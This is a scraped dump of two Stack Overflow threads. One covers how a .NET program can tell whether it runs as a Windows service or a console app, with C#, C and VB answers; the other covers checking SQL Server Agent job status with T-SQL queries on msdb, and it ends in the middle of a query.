possible\" way to solve this, just my own approach. Here, the service harness is called by the console app when in \"console mode\" and by the same application's \"start service\" logic when it is running as a service. By doing it this way, you can now call </p>\n\n<p><code>ServiceHost.Instance.RunningAsAService</code> (Boolean)</p>\n\n<p>from anywhere in your code to check if the application is running as a service or simply as a console.</p>\n\n<p>Here is the code: </p>\n\n<pre><code>public class ServiceHost\n{\n private static Logger log = LogManager.GetLogger(typeof(ServiceHost).Name);\n\n private static ServiceHost mInstance = null;\n private static object mSyncRoot = new object();\n\n #region Singleton and Static Properties\n\n public static ServiceHost Instance\n {\n get\n {\n if (mInstance == null)\n {\n lock (mSyncRoot)\n {\n if (mInstance == null)\n {\n mInstance = new ServiceHost();\n }\n }\n }\n\n return (mInstance);\n }\n }\n\n public static Logger Log\n {\n get { return log; }\n }\n\n public static void Close()\n {\n lock (mSyncRoot)\n {\n if (mInstance.mEngine != null)\n mInstance.mEngine.Dispose();\n }\n }\n\n #endregion\n\n private ReconciliationEngine mEngine;\n private ServiceBase windowsServiceHost;\n private UnhandledExceptionEventHandler threadExceptionHanlder = new UnhandledExceptionEventHandler(ThreadExceptionHandler);\n\n public bool HostHealthy { get; private set; }\n public bool RunningAsService {get; private set;}\n\n private ServiceHost()\n {\n HostHealthy = false;\n RunningAsService = false;\n AppDomain.CurrentDomain.UnhandledException += threadExceptionHandler;\n\n try\n {\n mEngine = new ReconciliationEngine();\n HostHealthy = true;\n }\n catch (Exception ex)\n {\n log.FatalException(\"Could not initialize components.\", ex);\n }\n }\n\n public void StartService()\n {\n if (!HostHealthy)\n throw new ApplicationException(\"Did not initialize components.\");\n\n try\n {\n mEngine.Start();\n }\n catch (Exception ex)\n {\n log.FatalException(\"Could not start service components.\", ex);\n HostHealthy = false;\n }\n }\n\n public void StartService(ServiceBase serviceHost)\n {\n if (!HostHealthy)\n throw new ApplicationException(\"Did not initialize components.\");\n\n if (serviceHost == null)\n throw new ArgumentNullException(\"serviceHost\");\n\n windowsServiceHost = serviceHost;\n RunningAsService = true;\n\n try\n {\n mEngine.Start();\n }\n catch (Exception ex)\n {\n log.FatalException(\"Could not start service components.\", ex);\n HostHealthy = false;\n }\n }\n\n public void RestartService()\n {\n if (!HostHealthy)\n throw new ApplicationException(\"Did not initialize components.\"); \n\n try\n {\n log.Info(\"Stopping service components...\");\n mEngine.Stop();\n mEngine.Dispose();\n\n log.Info(\"Starting service components...\");\n mEngine = new ReconciliationEngine();\n mEngine.Start();\n }\n catch (Exception ex)\n {\n log.FatalException(\"Could not restart components.\", ex);\n HostHealthy = false;\n }\n }\n\n public void StopService()\n {\n try\n {\n if (mEngine != null)\n mEngine.Stop();\n }\n catch (Exception ex)\n {\n log.FatalException(\"Error stopping components.\", ex);\n HostHealthy = false;\n }\n finally\n {\n if (windowsServiceHost != null)\n windowsServiceHost.Stop();\n\n if (RunningAsService)\n {\n AppDomain.CurrentDomain.UnhandledException -= threadExceptionHanlder;\n }\n }\n }\n\n private void HandleExceptionBasedOnExecution(object ex)\n {\n if (RunningAsService)\n {\n windowsServiceHost.Stop();\n }\n else\n {\n throw (Exception)ex;\n }\n }\n\n protected static void ThreadExceptionHandler(object sender, UnhandledExceptionEventArgs e)\n {\n log.FatalException(\"Unexpected error occurred. System is shutting down.\", (Exception)e.ExceptionObject);\n ServiceHost.Instance.HandleExceptionBasedOnExecution((Exception)e.ExceptionObject);\n }\n}\n</code></pre>\n\n<p>All you need to do here is replace that ominous looking <code>ReconcilationEngine</code> reference with whatever method is boostrapping your logic. Then in your application, use the <code>ServiceHost.Instance.Start()</code> and <code>ServiceHost.Instance.Stop()</code> methods whether you are running in console mode or as a service.</p>\n" }, { "answer_id": 25807557, "author": "chksr", "author_id": 1740663, "author_profile": "https://Stackoverflow.com/users/1740663", "pm_score": 0, "selected": false, "text": "<p>Well there's some very old code (about 20 years or so, not from me but found in the wild, wild web, and in C not C#) that should give you an idea how to do the job:</p>\n\n<pre><code>enum enEnvironmentType\n {\n ENVTYPE_UNKNOWN,\n ENVTYPE_STANDARD,\n ENVTYPE_SERVICE_WITH_INTERACTION,\n ENVTYPE_SERVICE_WITHOUT_INTERACTION,\n ENVTYPE_IIS_ASP,\n };\n\nenEnvironmentType GetEnvironmentType(void)\n{\n HANDLE hProcessToken = NULL;\n DWORD groupLength = 300;\n PTOKEN_GROUPS groupInfo = NULL;\n\n SID_IDENTIFIER_AUTHORITY siaNt = SECURITY_NT_AUTHORITY;\n PSID pInteractiveSid = NULL;\n PSID pServiceSid = NULL;\n\n DWORD dwRet = NO_ERROR;\n DWORD ndx;\n\n BOOL m_isInteractive = FALSE;\n BOOL m_isService = FALSE;\n\n // open the token\n if (!::OpenProcessToken(::GetCurrentProcess(),TOKEN_QUERY,&amp;hProcessToken))\n {\n dwRet = ::GetLastError();\n goto closedown;\n }\n\n // allocate a buffer of default size\n groupInfo = (PTOKEN_GROUPS)::LocalAlloc(0, groupLength);\n if (groupInfo == NULL)\n {\n dwRet = ::GetLastError();\n goto closedown;\n }\n\n // try to get the info\n if (!::GetTokenInformation(hProcessToken, TokenGroups,\n groupInfo, groupLength, &amp;groupLength))\n {\n // if buffer was too small, allocate to proper size, otherwise error\n if (::GetLastError() != ERROR_INSUFFICIENT_BUFFER)\n {\n dwRet = ::GetLastError();\n goto closedown;\n }\n\n ::LocalFree(groupInfo);\n\n groupInfo = (PTOKEN_GROUPS)::LocalAlloc(0, groupLength);\n if (groupInfo == NULL)\n {\n dwRet = ::GetLastError();\n goto closedown;\n }\n\n if (!GetTokenInformation(hProcessToken, TokenGroups,\n groupInfo, groupLength, &amp;groupLength))\n {\n dwRet = ::GetLastError();\n goto closedown;\n }\n }\n\n //\n // We now know the groups associated with this token. We want\n // to look to see if the interactive group is active in the\n // token, and if so, we know that this is an interactive process.\n //\n // We also look for the \"service\" SID, and if it's present,\n // we know we're a service.\n //\n // The service SID will be present iff the service is running in a\n // user account (and was invoked by the service controller).\n //\n\n // create comparison sids\n if (!AllocateAndInitializeSid(&amp;siaNt,\n 1,\n SECURITY_INTERACTIVE_RID,\n 0, 0, 0, 0, 0, 0, 0,\n &amp;pInteractiveSid))\n {\n dwRet = ::GetLastError();\n goto closedown;\n }\n\n if (!AllocateAndInitializeSid(&amp;siaNt,\n 1,\n SECURITY_SERVICE_RID,\n 0, 0, 0, 0, 0, 0, 0,\n &amp;pServiceSid))\n {\n dwRet = ::GetLastError();\n goto closedown;\n }\n\n // try to match sids\n for (ndx = 0; ndx &lt; groupInfo-&gt;GroupCount ; ndx += 1)\n {\n SID_AND_ATTRIBUTES sanda = groupInfo-&gt;Groups[ndx];\n PSID pSid = sanda.Sid;\n\n //\n // Check to see if the group we're looking at is one of\n // the two groups we're interested in.\n //\n\n if (::EqualSid(pSid, pInteractiveSid))\n {\n //\n // This process has the Interactive SID in its\n // token. This means that the process is running as\n // a console process\n //\n m_isInteractive = TRUE;\n m_isService = FALSE;\n break;\n }\n else if (::EqualSid(pSid, pServiceSid))\n {\n //\n // This process has the Service SID in its\n // token. This means that the process is running as\n // a service running in a user account ( not local system ).\n //\n m_isService = TRUE;\n m_isInteractive = FALSE;\n break;\n }\n }\n\n if ( !( m_isService || m_isInteractive ) )\n {\n //\n // Neither Interactive or Service was present in the current\n // users token, This implies that the process is running as\n // a service, most likely running as LocalSystem.\n //\n m_isService = TRUE;\n }\n\n\nclosedown:\n if ( pServiceSid )\n ::FreeSid( pServiceSid );\n\n if ( pInteractiveSid )\n ::FreeSid( pInteractiveSid );\n\n if ( groupInfo )\n ::LocalFree( groupInfo );\n\n if ( hProcessToken )\n ::CloseHandle( hProcessToken );\n\n if (dwRet == NO_ERROR)\n {\n if (m_isService)\n return(m_isInteractive ? ENVTYPE_SERVICE_WITH_INTERACTION : ENVTYPE_SERVICE_WITHOUT_INTERACTION);\n return(ENVTYPE_STANDARD);\n }\n else\n return(ENVTYPE_UNKNOWN);\n}\n</code></pre>\n" }, { "answer_id": 27935136, "author": "Ben Voigt", "author_id": 103167, "author_profile": "https://Stackoverflow.com/users/103167", "pm_score": 1, "selected": false, "text": "<p>Here is a translation of chksr's answer to .NET, and avoiding the bug that fails to recognize interactive services:</p>\n\n<pre><code>using System.Security.Principal;\n\nvar wi = WindowsIdentity.GetCurrent();\nvar wp = new WindowsPrincipal(wi);\nvar serviceSid = new SecurityIdentifier(WellKnownSidType.ServiceSid, null);\nvar localSystemSid = new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null);\nvar interactiveSid = new SecurityIdentifier(WellKnownSidType.InteractiveSid, null);\n// maybe check LocalServiceSid, and NetworkServiceSid also\n\nbool isServiceRunningAsUser = wp.IsInRole(serviceSid);\nbool isSystem = wp.IsInRole(localSystemSid);\nbool isInteractive = wp.IsInRole(interactiveSid);\n\nbool isAnyService = isServiceRunningAsUser || isSystem || !isInteractive;\n</code></pre>\n" }, { "answer_id": 60174944, "author": "Serge Ageyev", "author_id": 8494004, "author_profile": "https://Stackoverflow.com/users/8494004", "pm_score": 0, "selected": false, "text": "<p>Seems I am bit late to the party, but interesting difference when run as a service is that at start current folder points to system directory (<code>C:\\windows\\system32</code> by default). Its hardly unlikely user app will start from the system folder in any real life situation.</p>\n\n<p>So, I use following trick (c#):</p>\n\n<pre><code>protected static bool IsRunAsService()\n{\n string CurDir = Directory.GetCurrentDirectory();\n if (CurDir.Equals(Environment.SystemDirectory, StringComparison.CurrentCultureIgnoreCase))\n { \n return true; \n }\n\n return (false);\n}\n</code></pre>\n\n<p>For future extension, additional check make be done for <code>System.Environment.UserInteractive == false</code> (but I do not know how it correlates with 'Allow service to interact with desktop' service settings).</p>\n\n<p>You may also check window session by <code>System.Diagnostics.Process.GetCurrentProcess().SessionId == 0</code> (I do not know how it correlates with 'Allow service to interact with desktop' service settings as well).</p>\n\n<p>If you write portable code (say, with .NetCore) you may also check <code>Environment.OSVersion.Platform</code> to ensure that you are on windows first.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200163", "https://Stackoverflow.com", "https://Stackoverflow.com/users/24064/" ]
I am currently writing a little bootstrap code for a service that can be run in the console. It essentially boils down to calling the OnStart() method instead of using the ServiceBase to start and stop the service (because it doesn't run the application if it isn't installed as a service and makes debugging a nightmare). Right now I am using Debugger.IsAttached to determine if I should use ServiceBase.Run or [service].OnStart, but I know that isn't the best idea because some times end users want to run the service in a console (to see the output etc. realtime). Any ideas on how I could determine if the Windows service controller started 'me', or if the user started 'me' in the console? Apparantly [Environment.IsUserInteractive](http://social.msdn.microsoft.com/Forums/en-US/csharpgeneral/thread/99c4594b-e6c9-424f-bfe1-c7261bba24d3/ "forum thread") is not the answer. I thought about using commandline args, but that seems 'dirty'. I could always see about a try-catch statement around ServiceBase.Run, but that seems dirty. Edit: Try catch doesn't work. I have a solution: putting it up here for all the other interested stackers: ``` public void Run() { if (Debugger.IsAttached || Environment.GetCommandLineArgs().Contains<string>("-console")) { RunAllServices(); } else { try { string temp = Console.Title; ServiceBase.Run((ServiceBase[])ComponentsToRun); } catch { RunAllServices(); } } } // void Run private void RunAllServices() { foreach (ConsoleService component in ComponentsToRun) { component.Start(); } WaitForCTRLC(); foreach (ConsoleService component in ComponentsToRun) { component.Stop(); } } ``` EDIT: There was another question on StackOverflow where the guy had problems with the Environment.CurrentDirectory being "C:\Windows\System32" looks like that may be the answer. I will test today.
Like Ash, I write all actual processing code in a separate class library assembly, which was then referenced by the windows service executable, as well as a console app. However, there are occasions when it is useful to know if the class library is running in the context of the service executable or the console app. The way I do this is to reflect on the base class of the hosting app. (Sorry for the VB, but I imagine that the following could be c#-ified fairly easily): ```vb Public Class ExecutionContext ''' <summary> ''' Gets a value indicating whether the application is a windows service. ''' </summary> ''' <value> ''' <c>true</c> if this instance is service; otherwise, <c>false</c>. ''' </value> Public Shared ReadOnly Property IsService() As Boolean Get ' Determining whether or not the host application is a service is ' an expensive operation (it uses reflection), so we cache the ' result of the first call to this method so that we don't have to ' recalculate it every call. ' If we have not already determined whether or not the application ' is running as a service... If IsNothing(_isService) Then ' Get details of the host assembly. Dim entryAssembly As Reflection.Assembly = Reflection.Assembly.GetEntryAssembly ' Get the method that was called to enter the host assembly. Dim entryPoint As System.Reflection.MethodInfo = entryAssembly.EntryPoint ' If the base type of the host assembly inherits from the ' "ServiceBase" class, it must be a windows service. We store ' the result ready for the next caller of this method. _isService = (entryPoint.ReflectedType.BaseType.FullName = "System.ServiceProcess.ServiceBase") End If ' Return the cached result. Return CBool(_isService) End Get End Property Private Shared _isService As Nullable(Of Boolean) = Nothing #End Region End Class ```
200,195
<p>I have a Stored procedure which schedules a job. This Job takes a lot of time to get completed (approx 30 to 40 min). I need to get to know the status of this Job. Below details would help me</p> <p>1) How to see the list of all jobs that have got scheduled for a future time and are yet to start</p> <p>2) How to see the the list of jobs running and the time span from when they are running</p> <p>3) How to see if the job has completed successfully or has stoped in between because of any error.</p>
[ { "answer_id": 200249, "author": "Biri", "author_id": 968, "author_profile": "https://Stackoverflow.com/users/968", "pm_score": 2, "selected": false, "text": "<p>You haven't specified how would you like to see these details.</p>\n\n<p>For the first sight I would suggest to check <a href=\"http://www.microsoft.com/downloads/info.aspx?na=22&amp;p=1&amp;SrcDisplayLang=en&amp;SrcCategoryId=&amp;SrcFamilyId=&amp;u=%2fdownloads%2fdetails.aspx%3fFamilyID%3dc243a5ae-4bd1-4e3d-94b8-5a0f62bf7796%26DisplayLang%3den\" rel=\"nofollow noreferrer\">Server Management Studio</a>.</p>\n\n<p>You can see the jobs and current statuses in the SQL Server Agent part, under Jobs. If you pick a job, the Property page shows a link to the Job History, where you can see the start and end time, if there any errors, which step caused the error, and so on.</p>\n\n<p>You can specify alerts and notifications to email you or to page you when the job finished successfully or failed.</p>\n\n<p>There is a Job Activity Monitor, but actually I never used it. You can have a try.</p>\n\n<p>If you want to check it via T-SQL, then I don't know how you can do that.</p>\n" }, { "answer_id": 200280, "author": "Tim C", "author_id": 7585, "author_profile": "https://Stackoverflow.com/users/7585", "pm_score": 7, "selected": true, "text": "<p>You could try using the system stored procedure sp_help_job. This returns information on the job, its steps, schedules and servers. For example</p>\n\n<pre><code>EXEC msdb.dbo.sp_help_job @Job_name = 'Your Job Name'\n</code></pre>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/ms186722(SQL.90).aspx\" rel=\"noreferrer\">SQL Books Online</a> should contain lots of information about the records it returns.</p>\n\n<p>For returning information on multiple jobs, you could try querying the following system tables which hold the various bits of information on the job</p>\n\n<ul>\n<li>msdb.dbo.SysJobs</li>\n<li>msdb.dbo.SysJobSteps</li>\n<li>msdb.dbo.SysJobSchedules </li>\n<li>msdb.dbo.SysJobServers </li>\n<li>msdb.dbo.SysJobHistory</li>\n</ul>\n\n<p>Their names are fairly self-explanatory (apart from SysJobServers which hold information on when the job last run and the outcome).</p>\n\n<p>Again, information on the fields can be found at MSDN. For example, check out the page for <a href=\"http://msdn.microsoft.com/en-us/library/ms189817.aspx\" rel=\"noreferrer\">SysJobs</a></p>\n" }, { "answer_id": 238001, "author": "piers7", "author_id": 26167, "author_profile": "https://Stackoverflow.com/users/26167", "pm_score": 5, "selected": false, "text": "<p>This is what I'm using to get the running jobs (principally so I can kill the ones which have probably hung):</p>\n\n<pre><code>SELECT\n job.Name, job.job_ID\n ,job.Originating_Server\n ,activity.run_requested_Date\n ,datediff(minute, activity.run_requested_Date, getdate()) AS Elapsed\nFROM\n msdb.dbo.sysjobs_view job \n INNER JOIN msdb.dbo.sysjobactivity activity\n ON (job.job_id = activity.job_id)\nWHERE\n run_Requested_date is not null \n AND stop_execution_date is null\n AND job.name like 'Your Job Prefix%'\n</code></pre>\n\n<p>As Tim said, the MSDN / BOL documentation is reasonably good on the contents of the sysjobsX tables. Just remember they are tables in MSDB.</p>\n" }, { "answer_id": 8095633, "author": "Yella", "author_id": 1041898, "author_profile": "https://Stackoverflow.com/users/1041898", "pm_score": 2, "selected": false, "text": "<p>we can query the msdb in many ways to get the details.</p>\n\n<p>few are</p>\n\n<pre><code>select job.Name, job.job_ID, job.Originating_Server,activity.run_requested_Date,\ndatediff(minute, activity.run_requested_Date, getdate()) as Elapsed \nfrom msdb.dbo.sysjobs_view job \ninner join msdb.dbo.sysjobactivity activity on (job.job_id = activity.job_id) \nwhere run_Requested_date is not null \nand stop_execution_date is null \nand job.name like 'Your Job Prefix%'\n</code></pre>\n" }, { "answer_id": 9993535, "author": "Pavel Metzenauer", "author_id": 1310442, "author_profile": "https://Stackoverflow.com/users/1310442", "pm_score": 4, "selected": false, "text": "<pre><code>-- Microsoft SQL Server 2008 Standard Edition:\nIF EXISTS(SELECT 1 \n FROM msdb.dbo.sysjobs J \n JOIN msdb.dbo.sysjobactivity A \n ON A.job_id=J.job_id \n WHERE J.name=N'Your Job Name' \n AND A.run_requested_date IS NOT NULL \n AND A.stop_execution_date IS NULL\n )\n PRINT 'The job is running!'\nELSE\n PRINT 'The job is not running.'\n</code></pre>\n" }, { "answer_id": 18062236, "author": "efesar", "author_id": 1472771, "author_profile": "https://Stackoverflow.com/users/1472771", "pm_score": 7, "selected": false, "text": "<p>I would like to point out that none of the T-SQL on this page will work precisely because none of them join to the <strong>syssessions</strong> table to get only the current session and therefore could include false positives.</p>\n\n<p>See this for reference: <a href=\"https://stackoverflow.com/questions/13037668/what-does-it-mean-to-have-jobs-with-a-null-stop-date/13038752#13038752\">What does it mean to have jobs with a null stop date?</a></p>\n\n<p>You can also validate this by analyzing the <strong>sp_help_jobactivity</strong> procedure in <strong>msdb</strong>.</p>\n\n<p>I realize that this is an old message on SO, but I found this message only partially helpful because of the problem. </p>\n\n<pre><code>SELECT\n job.name, \n job.job_id, \n job.originating_server, \n activity.run_requested_date, \n DATEDIFF( SECOND, activity.run_requested_date, GETDATE() ) as Elapsed\nFROM \n msdb.dbo.sysjobs_view job\nJOIN\n msdb.dbo.sysjobactivity activity\nON \n job.job_id = activity.job_id\nJOIN\n msdb.dbo.syssessions sess\nON\n sess.session_id = activity.session_id\nJOIN\n(\n SELECT\n MAX( agent_start_date ) AS max_agent_start_date\n FROM\n msdb.dbo.syssessions\n) sess_max\nON\n sess.agent_start_date = sess_max.max_agent_start_date\nWHERE \n run_requested_date IS NOT NULL AND stop_execution_date IS NULL\n</code></pre>\n" }, { "answer_id": 18107445, "author": "user2661347", "author_id": 2661347, "author_profile": "https://Stackoverflow.com/users/2661347", "pm_score": 0, "selected": false, "text": "<p>The most simple way I found was to create a stored procedure. Enter the 'JobName' and hit go.</p>\n\n<pre><code>/*-----------------------------------------------------------------------------------------------------------\n\n Document Title: usp_getJobStatus\n\n Purpose: Finds a Current Jobs Run Status \n Input Example: EXECUTE usp_getJobStatus 'MyJobName'\n\n-------------------------------------------------------------------------------------------------------------*/\n\n IF OBJECT_ID ( 'usp_getJobStatus','P' ) IS NOT NULL\n DROP PROCEDURE usp_getJobStatus;\n\n GO\n\n CREATE PROCEDURE usp_getJobStatus \n @JobName NVARCHAR (1000)\n\n AS\n\n IF OBJECT_ID('TempDB..#JobResults','U') IS NOT NULL DROP TABLE #JobResults\n CREATE TABLE #JobResults ( Job_ID UNIQUEIDENTIFIER NOT NULL, \n Last_Run_Date INT NOT NULL, \n Last_Run_Time INT NOT NULL, \n Next_Run_date INT NOT NULL, \n Next_Run_Time INT NOT NULL, \n Next_Run_Schedule_ID INT NOT NULL, \n Requested_to_Run INT NOT NULL,\n Request_Source INT NOT NULL, \n Request_Source_id SYSNAME \n COLLATE Database_Default NULL, \n Running INT NOT NULL,\n Current_Step INT NOT NULL, \n Current_Retry_Attempt INT NOT NULL, \n Job_State INT NOT NULL ) \n\n INSERT #JobResults \n EXECUTE master.dbo.xp_sqlagent_enum_jobs 1, '';\n\n SELECT job.name AS [Job_Name], \n ( SELECT MAX(CAST( STUFF(STUFF(CAST(jh.run_date AS VARCHAR),7,0,'-'),5,0,'-') + ' ' + \n STUFF(STUFF(REPLACE(STR(jh.run_time,6,0),' ','0'),5,0,':'),3,0,':') AS DATETIME))\n FROM msdb.dbo.sysjobs AS j \n INNER JOIN msdb.dbo.sysjobhistory AS jh \n ON jh.job_id = j.job_id AND jh.step_id = 0 \n WHERE j.[name] LIKE '%' + @JobName + '%' \n GROUP BY j.[name] ) AS [Last_Completed_DateTime], \n ( SELECT TOP 1 start_execution_date \n FROM msdb.dbo.sysjobactivity\n WHERE job_id = r.job_id\n ORDER BY start_execution_date DESC ) AS [Job_Start_DateTime],\n CASE \n WHEN r.running = 0 THEN\n CASE \n WHEN jobInfo.lASt_run_outcome = 0 THEN 'Failed'\n WHEN jobInfo.lASt_run_outcome = 1 THEN 'Success'\n WHEN jobInfo.lASt_run_outcome = 3 THEN 'Canceled'\n ELSE 'Unknown'\n END\n WHEN r.job_state = 0 THEN 'Success'\n WHEN r.job_state = 4 THEN 'Success'\n WHEN r.job_state = 5 THEN 'Success'\n WHEN r.job_state = 1 THEN 'In Progress'\n WHEN r.job_state = 2 THEN 'In Progress'\n WHEN r.job_state = 3 THEN 'In Progress'\n WHEN r.job_state = 7 THEN 'In Progress'\n ELSE 'Unknown' END AS [Run_Status_Description]\n FROM #JobResults AS r \n LEFT OUTER JOIN msdb.dbo.sysjobservers AS jobInfo \n ON r.job_id = jobInfo.job_id \n INNER JOIN msdb.dbo.sysjobs AS job \n ON r.job_id = job.job_id \n WHERE job.[enabled] = 1\n AND job.name LIKE '%' + @JobName + '%'\n</code></pre>\n" }, { "answer_id": 30898078, "author": "Robert Sawyer", "author_id": 5020747, "author_profile": "https://Stackoverflow.com/users/5020747", "pm_score": 1, "selected": false, "text": "<p>The tasks above work but I have seen many records in the msdb.dbo.sysjobactivity\n<strong>where run_Requested_date is not null \nand stop_execution_date is null</strong> \n---- and the job is not currently running. </p>\n\n<p>I would recommend running the following script to clear out all of the bogus entries (make sure no jobs are running at the time).</p>\n\n<p>SQL2008:</p>\n\n<pre><code> delete activity\n from msdb.dbo.sysjobs_view job \n inner join msdb.dbo.sysjobactivity activity on job.job_id = activity.job_id \n where \n activity.run_Requested_date is not null \n and activity.stop_execution_date is null \n</code></pre>\n" }, { "answer_id": 36443374, "author": "Gopakumar N.Kurup", "author_id": 1310887, "author_profile": "https://Stackoverflow.com/users/1310887", "pm_score": 0, "selected": false, "text": "<pre><code>;WITH CTE_JobStatus\nAS (\n SELECT DISTINCT NAME AS [JobName]\n ,s.step_id\n ,s.step_name\n ,CASE \n WHEN [Enabled] = 1\n THEN 'Enabled'\n ELSE 'Disabled'\n END [JobStatus]\n ,CASE \n WHEN SJH.run_status = 0\n THEN 'Failed'\n WHEN SJH.run_status = 1\n THEN 'Succeeded'\n WHEN SJH.run_status = 2\n THEN 'Retry'\n WHEN SJH.run_status = 3\n THEN 'Cancelled'\n WHEN SJH.run_status = 4\n THEN 'In Progress'\n ELSE 'Unknown'\n END [JobOutcome]\n ,CONVERT(VARCHAR(8), sjh.run_date) [RunDate]\n ,CONVERT(VARCHAR(8), STUFF(STUFF(CONVERT(TIMESTAMP, RIGHT('000000' + CONVERT(VARCHAR(6), sjh.run_time), 6)), 3, 0, ':'), 6, 0, ':')) RunTime\n ,RANK() OVER (\n PARTITION BY s.step_name ORDER BY sjh.run_date DESC\n ,sjh.run_time DESC\n ) AS rn\n ,SJH.run_status\n FROM msdb..SYSJobs sj\n INNER JOIN msdb..SYSJobHistory sjh ON sj.job_id = sjh.job_id\n INNER JOIN msdb.dbo.sysjobsteps s ON sjh.job_id = s.job_id\n AND sjh.step_id = s.step_id\n WHERE (sj.NAME LIKE 'JOB NAME')\n AND sjh.run_date = CONVERT(CHAR, getdate(), 112)\n )\nSELECT *\nFROM CTE_JobStatus\nWHERE rn = 1\n AND run_status NOT IN (1,4)\n</code></pre>\n" }, { "answer_id": 39583379, "author": "Tequila", "author_id": 1073550, "author_profile": "https://Stackoverflow.com/users/1073550", "pm_score": 1, "selected": false, "text": "<p>I ran into issues on one of my servers querying MSDB tables (aka code listed above) as one of my jobs would come up running, but it was not. There is a system stored procedure that returns the execution status, but one cannot do a insert exec statement without an error. Inside that is another system stored procedure that can be used with an insert exec statement.</p>\n\n<pre><code>INSERT INTO #Job\nEXEC master.dbo.xp_sqlagent_enum_jobs 1,dbo\n</code></pre>\n\n<p>And the table to load it into:</p>\n\n<pre><code>CREATE TABLE #Job \n (job_id UNIQUEIDENTIFIER NOT NULL, \n last_run_date INT NOT NULL, \n last_run_time INT NOT NULL, \n next_run_date INT NOT NULL, \n next_run_time INT NOT NULL, \n next_run_schedule_id INT NOT NULL, \n requested_to_run INT NOT NULL, -- BOOL \n request_source INT NOT NULL, \n request_source_id sysname COLLATE database_default NULL, \n running INT NOT NULL, -- BOOL \n current_step INT NOT NULL, \n current_retry_attempt INT NOT NULL, \n job_state INT NOT NULL) \n</code></pre>\n" }, { "answer_id": 43212406, "author": "LostFromTheStart", "author_id": 7815515, "author_profile": "https://Stackoverflow.com/users/7815515", "pm_score": 2, "selected": false, "text": "<pre><code>SELECT sj.name\n FROM msdb..sysjobactivity aj\n JOIN msdb..sysjobs sj\n on sj.job_id = aj.job_id\n WHERE aj.stop_execution_date IS NULL -- job hasn't stopped running\n AND aj.start_execution_date IS NOT NULL -- job is currently running\n AND sj.name = '&lt;your Job Name&gt;'\n AND NOT EXISTS( -- make sure this is the most recent run\n select 1\n from msdb..sysjobactivity new\n where new.job_id = aj.job_id\n and new.start_execution_date &gt; aj.start_execution_date ) )\nprint 'running'\n</code></pre>\n" }, { "answer_id": 43480369, "author": "John Merager", "author_id": 7885952, "author_profile": "https://Stackoverflow.com/users/7885952", "pm_score": 2, "selected": false, "text": "<p>This will show last run status/time or if running, it shows current run time, step number/info, and SPID (if it has associated SPID). It also shows enabled/disabled and job user where it converts to NT SID format for unresolved user accounts. </p>\n\n<pre><code>CREATE TABLE #list_running_SQL_jobs\n(\n job_id UNIQUEIDENTIFIER NOT NULL\n , last_run_date INT NOT NULL\n , last_run_time INT NOT NULL\n , next_run_date INT NOT NULL\n , next_run_time INT NOT NULL\n , next_run_schedule_id INT NOT NULL\n , requested_to_run INT NOT NULL\n , request_source INT NOT NULL\n , request_source_id sysname NULL\n , running INT NOT NULL\n , current_step INT NOT NULL\n , current_retry_attempt INT NOT NULL\n , job_state INT NOT NULL\n);\n\nDECLARE @sqluser NVARCHAR(128)\n , @is_sysadmin INT;\n\nSELECT @is_sysadmin = ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0);\n\nDECLARE read_sysjobs_for_running CURSOR FOR\n SELECT DISTINCT SUSER_SNAME(owner_sid)FROM msdb.dbo.sysjobs;\nOPEN read_sysjobs_for_running;\nFETCH NEXT FROM read_sysjobs_for_running\nINTO @sqluser;\n\nWHILE @@FETCH_STATUS = 0\nBEGIN\n INSERT INTO #list_running_SQL_jobs\n EXECUTE master.dbo.xp_sqlagent_enum_jobs @is_sysadmin, @sqluser;\n FETCH NEXT FROM read_sysjobs_for_running\n INTO @sqluser;\nEND;\n\nCLOSE read_sysjobs_for_running;\nDEALLOCATE read_sysjobs_for_running;\n\nSELECT j.name\n , 'Enbld' = CASE j.enabled\n WHEN 0\n THEN 'no'\n ELSE 'YES'\n END\n , '#Min' = DATEDIFF(MINUTE, a.start_execution_date, ISNULL(a.stop_execution_date, GETDATE()))\n , 'Status' = CASE\n WHEN a.start_execution_date IS NOT NULL\n AND a.stop_execution_date IS NULL\n THEN 'Executing'\n WHEN h.run_status = 0\n THEN 'FAILED'\n WHEN h.run_status = 2\n THEN 'Retry'\n WHEN h.run_status = 3\n THEN 'Canceled'\n WHEN h.run_status = 4\n THEN 'InProg'\n WHEN h.run_status = 1\n THEN 'Success'\n ELSE 'Idle'\n END\n , r.current_step\n , spid = p.session_id\n , owner = ISNULL(SUSER_SNAME(j.owner_sid), 'S-' + CONVERT(NVARCHAR(12), CONVERT(BIGINT, UNICODE(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 1))) - CONVERT(BIGINT, 256) * CONVERT(BIGINT, UNICODE(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 1)) / 256)) + '-' + CONVERT(NVARCHAR(12), UNICODE(RIGHT(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 4), 1)) / 256 + CONVERT(BIGINT, NULLIF(UNICODE(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 1)) / 256, 0)) - CONVERT(BIGINT, UNICODE(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 1)) / 256)) + ISNULL('-' + CONVERT(NVARCHAR(12), CONVERT(BIGINT, UNICODE(RIGHT(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 5), 1))) + CONVERT(BIGINT, UNICODE(RIGHT(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 6), 1))) * CONVERT(BIGINT, 65536) + CONVERT(BIGINT, NULLIF(SIGN(LEN(CONVERT(NVARCHAR(256), j.owner_sid)) - 6), -1)) * 0), '') + ISNULL('-' + CONVERT(NVARCHAR(12), CONVERT(BIGINT, UNICODE(RIGHT(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 7), 1))) + CONVERT(BIGINT, UNICODE(RIGHT(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 8), 1))) * CONVERT(BIGINT, 65536) + CONVERT(BIGINT, NULLIF(SIGN(LEN(CONVERT(NVARCHAR(256), j.owner_sid)) - 8), -1)) * 0), '') + ISNULL('-' + CONVERT(NVARCHAR(12), CONVERT(BIGINT, UNICODE(RIGHT(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 9), 1))) + CONVERT(BIGINT, UNICODE(RIGHT(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 10), 1))) * CONVERT(BIGINT, 65536) + CONVERT(BIGINT, 